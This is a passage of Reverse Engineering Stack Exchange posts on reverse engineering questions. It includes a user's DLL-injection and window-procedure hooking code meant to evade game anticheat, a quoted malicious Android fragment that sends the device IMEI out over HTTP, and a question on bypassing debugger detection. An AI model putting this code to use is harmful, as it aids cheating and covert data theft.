+    if (!bSetup)
+    {
+        WindowProc = (WNDPROC)SetWindowLongPtr(HWND, GWLP_WNDPROC, (LRESULT)WndProc);//our Global Hooked Procedure.
+    }
+}
+
+BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.
+        break;
+    }
+    return TRUE;
+}
+
+

Instead of doing it by this way i want to hook it directly by the address/pointer of the target process also i want to avoid the CallWindowProc API call if it possible, i have been searching for the pointer with IDA Pro, x32dbg and Cheat engine but i haven't found it. How i can found a pointer to this? Thank you guys.

+

I am injecting a dll to the process to trying to do this.

+

Goal-Objective: The goal is hook the game procedure to use it instead of creating a global hook, also trying to avoid moost WinApi calls to be stealthy, cause anticheats can hook some API Functions and checks if they have been called or edited.

+

Example of what i am trying to do (Detour hooking):

+
//This is that i want to do.
+#include <windows.h>
+#include "detour.h"//Microsoft detours header for hooking.
+#pragma comment(lib, "detours.lib");//Microsoft detours library.
+
+static bool bSetup = false;
+HWND GameHwnd = (HWND)((uintptr_t)GetModuleHandle(nullptr) + 0xA93158);
+
+typedef LRESULT(__stdcall* wndProc) (HWND, UINT, WPARAM, lParam);//our prototype.
+wndProc oWindowProc = nullptr;//our function return.
+
+//offsets, pointers, addresses...
+uintptr_t ADDRESS_WNDPROC = (uintptr_t)GetModuleHandle(nullptr) + 0x283C3A;
+
+LRESULT HookedWndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+    //Process messages
+    
+    return CallWindowProc(oWindowProc, hWnd, msg, wParam, lParam);
+}
+
+void lpMain()//Our dll start here, we do our thing in this function.
+{
+    if (!bSetup)//Hook Procedure and other stuff.
+    {
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+        
+        DetourAttach(&(LPVOID&)ADDRESS_WNDPROC, &HookedWndProc);
+        
+        DetourTransactionCommit();
+        
+        oWindowProc = (WNDPROC)ADDRESS_WNDPROC;
+        
+        or
+        
+        //oWindowProc = (WNDPROC)SetWindowLongPtr(GameHwnd, GWLP_WNDPROC, (LRESULT)HookedWndProc);//our Global Hooked Procedure.
+        
+        bSetup = true;
+    }
+    
+    //do our things.
+}
+
+BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.
+        break;
+    }
+    return TRUE;
+}
+
+",33642,,33642,,6/23/2020 22:23,6/24/2020 7:37,How i can grab a pointer or hook the process procedure without creating a global hook,
,1,8,,7/3/2020 8:02,,CC BY-SA 4.0 +25376,2,,25372,6/23/2020 17:05,,3,,"

Regarding unaff_ and in_ prefixes (source):

+
+

in or unaff : this typically indicates that a register is read +before it is written (and it does not contain a parameter +passed to the function)

+
+

So, if you encounter them in decompilator, it means that their values are used before they are initialised in the function (they contain the values assigned earlier, in one of the previous functions). To fix that, you can add these registers as arguments to this function (right click -> edit function signature). You can see more details here and here.

+

As for the pattern you are asking for, the r11 register in ARM (I suppose this is the architecture of your binary) is used for accessing local function variables placed on the stack. So, it seems that your function (probably 6 - argument constructor) initialises some class (having 6 members), which was a type of some local variable (declared in caller function) in the original code.

+",27930,,27930,,6/23/2020 17:13,6/23/2020 17:13,,,,3,,,,CC BY-SA 4.0 +25377,1,,,6/24/2020 3:17,,0,110,"

+

I tried to unpack packed_dll, when the unpack stage done, i dumped unpacked_dll out and start to reverse. I pretty sure this is continuously function of that dll but this line show up. So what is this line and can i remove it for my static reverse stage ? +Thanks all

+",25842,,,,,6/24/2020 7:21,What is this line and how to remove it,,1,0,,,,CC BY-SA 4.0 +25378,1,,,6/24/2020 7:01,,0,55,"

i have a strange apk which I took a closer look at, among others with jadx-gui. It is a gaming app that requires an unusual amount of permissions according to the manifest file. I installed and played the game on a testphone. The requested permissions are not allowed for the game at all. Found a class in the code with the following suspicious method:

+
public void doInBackground()
+{
+  ...
+  String deviceId = ((TelephonyManager) this.a.getSystemService("phone")).getDeviceId();
+  ...
+  a.add(new BasicNameValuePair(new String("imei"), deviceId)); 
+  ...
+  try {
+        httpPost.setEntity(new UrlEncodedFormEntity(a));
+      } catch (UnsupportedEncodingException e) {
+  ...
+
+

This method collects sensitive data and sends it via http. +I don't see that this class is called with this method. Searched for the name of the method, but found nothing. Is there a way to call this method without seeing it in the jadx-gui? +Otherwise I ask myself why this method was implemented if it is never used.

+",33323,,,,,7/24/2020 9:07,Call of a suspicious method cannot be found,,1,0,,,,CC BY-SA 4.0 +25379,2,,25377,6/24/2020 7:21,,2,,"

The dashed line is added by IDA to denote code flow boundaries. For example, you can see another one after the unconditional jmp, and there should be one after each retn instruction. In graph view they correspond to the end of function graph nodes.

+

The most probable cause for the one after call is that the called function has been detected as non-returning.

+

You can go inside the call and see if "Attributes: noreturn" is printed in the function header. If the function does, in fact, return, you can clear the flag by editing the function properties (Alt-P).

+",60,,,,,6/24/2020 7:21,,,,0,,,,CC BY-SA 4.0 +25380,2,,25374,6/24/2020 7:37,,0,,"

The window procedure is usually set up per window class via the call to RegisterClassW or similar. While it can be changed later by SetWindowLongPtr, in practice this is done quite rarely (AFAIK) so most likely the standard class procedure will be used. So:

+
    +
  1. Check calls to RegisterClassW/RegisterClassA and extract lpfnWndProc from the class struct
  2. +
  3. Hook the procedure and do what you need.
  4. +
+",60,,,,,6/24/2020 7:37,,,,1,,,,CC BY-SA 4.0 +25381,2,,25373,6/24/2020 7:44,,0,,"

You can use VMMap by SysInternals to inspect the memory layout of the process and determine what exactly the mysterious memory is.

+

If it is heap memory, most likely there is a pointer to it somewhere in the process' data section, so you may be able to track it from there. Note that there can be multiple levels of indirections for a specific memory block. You may be able to use Cheat Engine to discover a pointer chain to the area of interest.

+",60,,,,,6/24/2020 7:44,,,,0,,,,CC BY-SA 4.0 +25383,2,,25370,6/24/2020 8:15,,1,,"

It seems like you have an issue with dereferencing unallocated memory. I don't think that it's related to the heap in any way. It looks like the pointer address that is resolved by ptr [rcx+200h] is in fact points to 0xFFFFFFFFFFFFFFFF address, and when trying to access this memory, the application crashes, because this page is not allocated.

+

In order to investigate the issue, try to understand what is the origin of the bad ecx register value that is used at 00007FF9ED373847 - just follow in the disassembly where is it defined, and what goes wrong in your specific scenario - for example, maybe it's origin a function call, that returned an error, but the return value wasn't checked against error codes.

+",31278,,,,,6/24/2020 8:15,,,,0,,,,CC BY-SA 4.0 +25384,2,,25378,6/24/2020 8:46,,1,,"

In Android there is a class named AsyncTask, designed for running processes in the background without blocking the UI.

+

The developer extends AsyncTask and implements doInBackground() member function which is called by the system. After instancing the derived class and calling the instance's .execute() method, Android will, asynchronously call doInBackground().

+

The program does not call functions of AsyncTask directly.

+

Link to documentation: +https://developer.android.com/reference/android/os/AsyncTask

+",30213,,,,,6/24/2020 8:46,,,,0,,,,CC BY-SA 4.0 +25385,1,,,6/24/2020 9:21,,3,969,"

I am using Ghidra to analyze libpng-compat.1.5.10.so (downloaded from Fedora mirrors).

+

But it didn't load the expected disassembly. Then I used Objdump and IDA to check the code and they get the same results and process it correctly. Here are pictures of these three tools about the function png_write_rows:

+

Ghidra:

+

+

we can see that from 0x6bf9, bad results are generated.

+

For comparison, Objdump:

+

+

and IDA:

+

+

I know IDA is the best SRE tool, and I always thought Ghidra and IDA are the top 2. Objdump is a basic, standard and old tool, but why is it that Ghidra can't even get the correct disassembly code while the other two tools do? I use auto-analyze and import the binary file for both IDA and Ghidra. +How to correct these errors?

+

By adjusting analysis options,if Non-Returning Functions - Discovered is set as false, it will be correct.

+",26830,,30460,,7/8/2020 21:28,7/8/2020 21:28,disassembly - bad results generated with ghidra but not with objdump and IDA,,0,3,,,,CC BY-SA 4.0 +25387,1,,,6/24/2020 10:42,,2,320,"

I have an HID device that I'm trying to re-create using Arduino, I have captured the USB packets and I have pretty much analyzed all the data I need to operate the device, the only thing I'm not really sure about is how I should actually recreate the device with the Arduino device in terms of connection.

+

There is a software that detects and connects to my HID device, therefore I'd need to make the Arduino being detected as this device. I'm not really sure what would be the way to achieve that, is it related to PID and VID of the HID device? I assume there are much more than that that needs to be set in order to actually achieve that.

+",33657,,245,,6/24/2020 11:36,11/26/2020 8:04,Reverse engineer an HID device - recreate using arduino,,1,6,,,,CC BY-SA 4.0 +25388,1,25402,,6/25/2020 0:58,,1,184,"

I am trying to restore a binary from memory. I re-constructed the binary and analyzed it with a disassembler and it looks okay, but when inspecting the headers with otool I'm getting:

+
truncated or malformed object (addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize)
+
+

Looking at the command:

+
 struct __macho_segment_command_64 {
+  LC_SEGMENT_64,                       // LC_SEGMENT_64
+  0x368,                               // includes sizeof section_64 structs
+  "__TEXT", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment name
+  0x0,                                 // memory address of this segment
+  0x339000,                            // memory size of this segment
+  0x0,                                 // file offset of this segment
+  0x339000,                            // amount to map from the file
+  0x7,                                 // maximum VM protection
+  0x5,                                 // initial VM protection
+  0xa,                                 // number of sections in segment
+  0               
+
+

Then section 8 of that command:

+
struct __macho_section_64 { 
+  "__objc_classname",                  // name of this section
+  "__TEXT", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment this section goes in
+  0x2dee36,                            // memory address of this section
+  0x6a,                                // size in bytes of this section
+  0x2dee36,                            // file offset of this section
+  0x0,                                 // section alignment (power of 2)
+  0x0,                                 // file offset of relocation entries
+  0x0,                                 // number of relocation entries
+  S_CSTRING_LITERALS,                  // flags (section type and attributes
+  0x0,                                 // reserved (for offset or index)
+  0x0,                                 // reserved (for count or sizeof)
+  0x0                                  // reserved
+}
+
+

vmsize of this command is 0x339000. Section 8 starts at 0x2dee36 and is 0x6a in size. So the section ends at 0x2DEEA0.

+

I have problems understanding how this is "addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize" given that the VM size of this command is 0x339000

+

I'm suspecting I'm probably missing something, so my question: What adjustments are needed to restore a binary and make it executable again?

+",33669,,,,,6/26/2020 9:01,How to fix Mach-O headers from a memory-dumped binary to make it usable again?,,1,2,,,,CC BY-SA 4.0 +25391,2,,21534,6/25/2020 15:58,,2,,"

Nexide, wild guess but your game is complied with il2cpp. +You could use Scylla to dump GameAssembly.DLL +and you'll get a dumb folder and with that you use Il2cppDumper, drag both the Globalmeta.dat file and the GameAssembly.dll-Dumped file inside where all the il2cppdumper dlls are stored, then run Il2cppdumper then press GameAssembly.dll then Globalmeta data and you'll get a dummey dlls with Csharpassembly and everything else, but you won't actually get the actual code out of it, only offsets and methods, You'll have to reverse using Ida Pro to get the native code, I'm not sure if there are any other methods of decompling

+",33676,,,,,6/25/2020 15:58,,,,0,,,,CC BY-SA 4.0 +25393,1,,,6/25/2020 17:38,,2,167,"

When I debugging remote process with gdb-server and Ida, and put breakpoint in the code, when the process stopped at this breakpoint how can I call to function and after that return to my code ?

+",33678,,33678,,6/25/2020 18:07,6/26/2020 8:11,How to call to function while debug,,2,0,,,,CC BY-SA 4.0 +25394,1,25460,,6/25/2020 18:49,,0,214,"

Im a noob when it comes to using reverse engineering tooling.

+

I am doing a reversing challenge (pwn adventure 3 CTF) and I am exporting the various types from IDA. The thing is, the header files are always full of errors when I add them to the project in visual studio. Using these headers would be much convenient since I have access to them, its just frustrating that i cannot get the syntax work. I have tried exporting the whole DLL I am debugging as a header (it includes a pdb so all these are supposed to be included). I have even tried including all of the std headers (I know its a bad practice, just wanted to try whether that fixes it.)

+

Is there something I am missing that I am supposed to do in order to have the exported headers be syntactically correct so I can use them in my development project?

+

Maybe the pros can guide me to the correct direction with this. Cheers in advance.

+

An example for the header exported by IDA for the ClientWorld looks the following,:

+
/*
+   This file has been generated by IDA.
+   It contains local type definitions from
+   the type library 'GameLogic'
+*/
+
+#define __int8 char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+struct IPlayer;
+struct ILocalPlayer;
+struct std::_Tree_node<std::pair<unsigned int const ,ActorRef<IActor> >,void *>;
+struct std::_Tree_node<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,void *>;
+struct std::_Tree_node<ActorRef<IActor>,void *>;
+struct std::_Tree_node<ActorRef<IPlayer>,void *>;
+struct WorldVtbl;
+
+/* 155 */
+struct __cppobj std::_Container_base0
+{
+};
+
+/* 545 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<ActorRef<IPlayer> > > : std::_Container_base0
+{
+  std::_Tree_node<ActorRef<IPlayer>,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 549 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > > > : std::_Tree_val<std::_Tree_simple_types<ActorRef<IPlayer> > >
+{
+};
+
+/* 550 */
+struct __cppobj std::_Tree_buy<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > > : std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > > >
+{
+};
+
+/* 551 */
+struct __cppobj std::_Tree_comp<0,std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> > : std::_Tree_buy<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > >
+{
+};
+
+/* 565 */
+struct __cppobj std::_Tree<std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> > : std::_Tree_comp<0,std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> >
+{
+};
+
+/* 687 */
+struct __cppobj std::set<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> > > : std::_Tree<std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> >
+{
+};
+
+/* 322 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<ActorRef<IActor> > > : std::_Container_base0
+{
+  std::_Tree_node<ActorRef<IActor>,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 323 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IActor>,std::allocator<ActorRef<IActor> > > > : std::_Tree_val<std::_Tree_simple_types<ActorRef<IActor> > >
+{
+};
+
+/* 328 */
+struct __cppobj std::_Tree_buy<ActorRef<IActor>,std::allocator<ActorRef<IActor> > > : std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IActor>,std::allocator<ActorRef<IActor> > > >
+{
+};
+
+/* 542 */
+struct __cppobj std::_Tree_comp<0,std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> > : std::_Tree_buy<ActorRef<IActor>,std::allocator<ActorRef<IActor> > >
+{
+};
+
+/* 554 */
+struct __cppobj std::_Tree<std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> > : std::_Tree_comp<0,std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> >
+{
+};
+
+/* 664 */
+struct __cppobj std::set<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> > > : std::_Tree<std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> >
+{
+};
+
+/* 304 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<std::pair<unsigned int const ,ActorRef<IActor> > > > : std::_Container_base0
+{
+  std::_Tree_node<std::pair<unsigned int const ,ActorRef<IActor> >,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 305 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > > : std::_Tree_val<std::_Tree_simple_types<std::pair<unsigned int const ,ActorRef<IActor> > > >
+{
+};
+
+/* 330 */
+struct __cppobj std::_Tree_buy<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > : std::_Tree_alloc<0,std::_Tree_base_types<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > >
+{
+};
+
+/* 331 */
+struct __cppobj std::_Tree_comp<0,std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> > : std::_Tree_buy<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > >
+{
+};
+
+/* 334 */
+struct __cppobj std::_Tree<std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> > : std::_Tree_comp<0,std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> >
+{
+};
+
+/* 597 */
+struct __cppobj std::map<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > : std::_Tree<std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> >
+{
+};
+
+/* 285 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > : std::_Container_base0
+{
+  std::_Tree_node<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 286 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > > : std::_Tree_val<std::_Tree_simple_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > >
+{
+};
+
+/* 393 */
+struct __cppobj std::_Tree_buy<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > : std::_Tree_alloc<0,std::_Tree_base_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > >
+{
+};
+
+/* 490 */
+struct __cppobj std::_Tree_comp<0,std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> > : std::_Tree_buy<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > >
+{
+};
+
+/* 513 */
+struct __cppobj std::_Tree<std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> > : std::_Tree_comp<0,std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> >
+{
+};
+
+/* 564 */
+struct __cppobj std::map<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > : std::_Tree<std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> >
+{
+};
+
+/* 706 */
+struct World
+{
+  WorldVtbl *vfptr;
+  std::set<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> > > m_players;
+  std::set<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> > > m_actors;
+  std::map<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > m_actorsById;
+  ILocalPlayer *m_localPlayer;
+  unsigned int m_nextId;
+  std::map<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > m_aiZones;
+};
+
+/* 259 */
+struct ActorRef<IPlayer>
+{
+  IPlayer *m_object;
+};
+
+/* 1618 */
+struct __cppobj ClientWorld : World
+{
+  ActorRef<IPlayer> m_activePlayer;
+  float m_timeUntilNextNetTick;
+};
+
+",33207,,,,,7/9/2020 2:14,IDA exported header full of errors,,1,2,,,,CC BY-SA 4.0 +25395,1,30222,,6/25/2020 20:32,,1,212,"

I'm writing a script to find out how many functions were recognized after applying a FLIRT signature library, I'm using idapython I would like to know if I can apply the signatures by the script.

+",33679,,,,,4/4/2022 17:01,Is there any way to apply FLIRT signatures through a script like idapython?,,1,0,,,,CC BY-SA 4.0 +25397,2,,25393,6/26/2020 1:01,,0,,"

In Assembly there are no real self-contained functions (as in programming languages like c++) anymore. Especially the concept of local variables and parameters is not really there. Instead, everything is stored in registers or on the stack. Now assuming that there is a way to call a function (I'll get to it later on how that would be possible) you would risk overwriting registers that are used by something else. Doing so will cause data corruption and you risk that the program produces unexpected results. Also arguments are stored in a specific register or on the stack, so you might need to modify those.

+

Now when you identified the function and pre-loaded all the registers and prepared the stack all you need to do is change the instruction pointer to the function you want to run, execute it and set the instruction pointer back when you're done with it.

+",33683,,,,,6/26/2020 1:01,,,,0,,,,CC BY-SA 4.0 +25398,1,25399,,6/26/2020 2:12,,1,140,"

Sometimes a function will have a series of XREF comments next to it in the disassembly view such as in the following example:

+
                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     void __stdcall FUN_803adb50(void)
+                       assume GQR0 = 0x0
+                       assume GQR1 = 0x0
+                       assume GQR2 = 0x40004
+                       assume GQR3 = 0x50005
+                       assume GQR4 = 0x60006
+                       assume GQR5 = 0x70007
+                       assume GQR6 = 0x0
+                       assume GQR7 = 0x0
+                       assume r13 = 0x805dd0e0
+                       assume r2 = 0x805e6700
+     void              <VOID>         <RETURN>
+                     FUN_803adb50                                    XREF[357]:   FUN_80058564:80058574(c), 
+                                                                                  FUN_80058a80:80058a90(c), 
+                                                                                  FUN_8005c298:8005c2a8(c), 
+                                                                                  FUN_80288c48:80288c58(c), 
+                                                                                  FUN_802b0ab8:802b0ac8(c), 
+                                                                                  FUN_802b3860:802b3870(c), 
+                                                                                  FUN_802b3a4c:802b3a5c(c), 
+                                                                                  FUN_802b4f94:802b4fa4(c), 
+                                                                                  FUN_802b563c:802b564c(c), 
+                                                                                  FUN_802c81cc:802c81dc(c), 
+                                                                                  FUN_802ca894:802ca8a4(c), 
+                                                                                  FUN_802cd8f0:802cd908(c), 
+                                                                                  AnimationTreeSomething:802d1ff8(
+                                                                                  FUN_8040fd5c:8040fd6c(c), 
+                                                                                  FUN_80418708:80418718(c), 
+                                                                                  FUN_8041e46c:8041e47c(c), 
+                                                                                  FUN_80444fe0:80444ff0(c), 
+                                                                                  FUN_80445cf4:80445d04(c), 
+                                                                                  FUN_80446d80:80446d90(c), 
+                                                                                  FUN_8044c500:8044c510(c), [more]
+
+

How can I turn these off (and on)?

+",33639,,,,,6/26/2020 7:12,How to turn off XREF comments in Ghidra's disassembly view?,,1,0,,,,CC BY-SA 4.0 +25399,2,,25398,6/26/2020 7:12,,2,,"

Just press the Edit the listing fields button

+

+

Then go to the Instruction/Data section

+

+

Right-click on XRef Header and XRef and from the menu choose Disable field.

+",18014,,,,,6/26/2020 7:12,,,,0,,,,CC BY-SA 4.0 +25400,2,,25393,6/26/2020 8:11,,2,,"

In IDA, you can use the Appcall feature

+

In GDB, you can use print or call commands: https://sourceware.org/gdb/onlinedocs/gdb/Calling.html

+

(this works only when using the actual gdb program)

+",60,,,,,6/26/2020 8:11,,,,0,,,,CC BY-SA 4.0 +25401,2,,16313,6/26/2020 8:52,,1,,"

We implemented a generator for creating such ground truth mappings and recently published it.

+

You can find further details within the github repo:

+

https://github.com/LL-MM/approxis-groundtruth

+",15907,,,,,6/26/2020 8:52,,,,0,,,,CC BY-SA 4.0 +25402,2,,25388,6/26/2020 9:01,,2,,"

otool uses 0-based indexing for load commands and section numbers so it's probably the next section which is problematic.

+

Note that the OS loader only uses segments for mapping the image to the memory so even if the file offsets of the sections are off it should not affect runnability of the program. Some sections may be used by the runtime components like the dynamic loader or Objective-C runtime but normally they only use memory addresses and not file offsets.

+",60,,,,,6/26/2020 9:01,,,,0,,,,CC BY-SA 4.0 +25403,2,,25372,6/26/2020 17:55,,1,,"

This is a helper function used by PPC EABI conforming compilers for reducing code size. From ctrsavres.asm:

+
/* Routines for saving integer registers, called by the compiler.  */
+/* Called with r11 pointing to the stack header word of the caller of the */
+/* function, just beyond the end of the integer save area.  */
+
+

Because it is called by the compiler, it doesn't behave like normal a function and accesses r11 directly, without setting it up first (it is set up by the caller).

+",60,,,,,6/26/2020 17:55,,,,1,,,,CC BY-SA 4.0 +25404,1,,,6/26/2020 19:53,,2,269,"

I am trying to reverse engineer a aarch64 binary using angr to find the required command line argument to get a desired result. From the binary I am able to extract the required length of the argument. I followed the previous examples in angr to extract the solution in bytes. Whenever I am restricting the result to only printable characters the angr is not giving any result but after removing the constraint angr provides one possible solution for the problem. The result of angr is as follows:

+

\xc7_\xb0\xb1>)9\x9f\x00\x82+\xe2ms\x90\x85\xbd\xdd\xebqyv1\x86\x82q]\xe9i\xc3\xed(\x1c\xdd\xfd\xf0\x9dgx

+

As per my understanding this doesn't mean anything and also is not the desired answer. Please let me know if I am missing something. Below is the code I am using:

+
def get_possible_flags():
+p = angr.Project("test", load_options={'main_opts': {'arch': 'aarch64'}})
+key_bytes = [claripy.BVS("byte_%d" % i, 8) for i in range(39)]
+arg1 = claripy.Concat(*key_bytes)
+initial_state = p.factory.entry_state(args=["test", arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"})
+sm = p.factory.simulation_manager(initial_state)
+sm.explore(find=lambda s: b"correct" in s.posix.dumps(1),avoid=lambda s: b"wrong" in s.posix.dumps(1))
+s = sm.found[0]
+print("Found.........................")
+print(s.posix.dumps(1))
+possible_values = [ s.solver.eval_upto(arg1, 100, cast_to=bytes)]
+possibilities = tuple(itertools.product(*possible_values))
+return possibilities
+
+",33687,,,,,6/26/2020 19:53,Reverse engineering a command line argument using angr for an aarch64 binary,,0,0,,,,CC BY-SA 4.0 +25407,2,,23305,6/26/2020 22:35,,2,,"

I think you're not doing anything wrong, you're experiencing this bug: +https://sourceware.org/bugzilla/show_bug.cgi?id=24069

+

Usually if you retry several times you might get it to work eventually; it looks like a race condition.

+

The patch proposed in the bug report kind of works for me on macOS 10.15.5: instead of just hanging, GDB errors out upon run with:

+
During startup program terminated with signal ?, Unknown signal
+
+

but at least it does not hang. You can then retry run (or start) until it works.

+",33689,,,,,6/26/2020 22:35,,,,0,,,,CC BY-SA 4.0 +25408,1,,,6/27/2020 0:44,,1,245,"

I am currently trying to attach a debugger to a program with a callback for IsDebuggerPresent. Normally, i would patch the program to pass over this check, but patching the program is not an option. How would I go about getting a debugger attached so dynamic analysis is possible?

+",33690,,,,,7/3/2020 17:45,Bypassing IsDebuggerPresent,,1,2,,7/3/2020 21:50,,CC BY-SA 4.0 +25409,2,,21379,6/27/2020 6:46,,5,,"

you can right click the file you import at Active Project tab in ghidra main window, and select Set Language

+

+",33691,,153,,6/28/2020 10:06,6/28/2020 10:06,,,,0,,,,CC BY-SA 4.0 +25410,1,25411,,6/27/2020 15:54,,0,821,"

This is my first time doing RE on a statically linked and stripped binary with ghidra. And I'm having a really hard time analyzing what function does what just by looking the decompiled code present by ghidra.

+

Ghidra recognised the binary language ID as ARM:LE:32:v8 and I'm especially stuck on this function:

+
undefined8 ToSolve1(uint *param_1,uint *param_2,int param_3,uint param_4)
+
+{
+  uint *puVar1;
+  uint *puVar2;
+  byte *pbVar3;
+  byte *pbVar4;
+  uint *puVar5;
+  uint *puVar6;
+  byte *pbVar7;
+  int iVar8;
+  int iVar9;
+  int iVar10;
+  byte bVar11;
+  uint uVar12;
+  uint uVar13;
+  uint uVar14;
+  uint uVar15;
+  uint uVar16;
+  bool bVar17;
+  bool bVar18;
+  
+  if (param_2 < param_1) {
+    param_2 = (uint *)((int)param_2 + param_3);
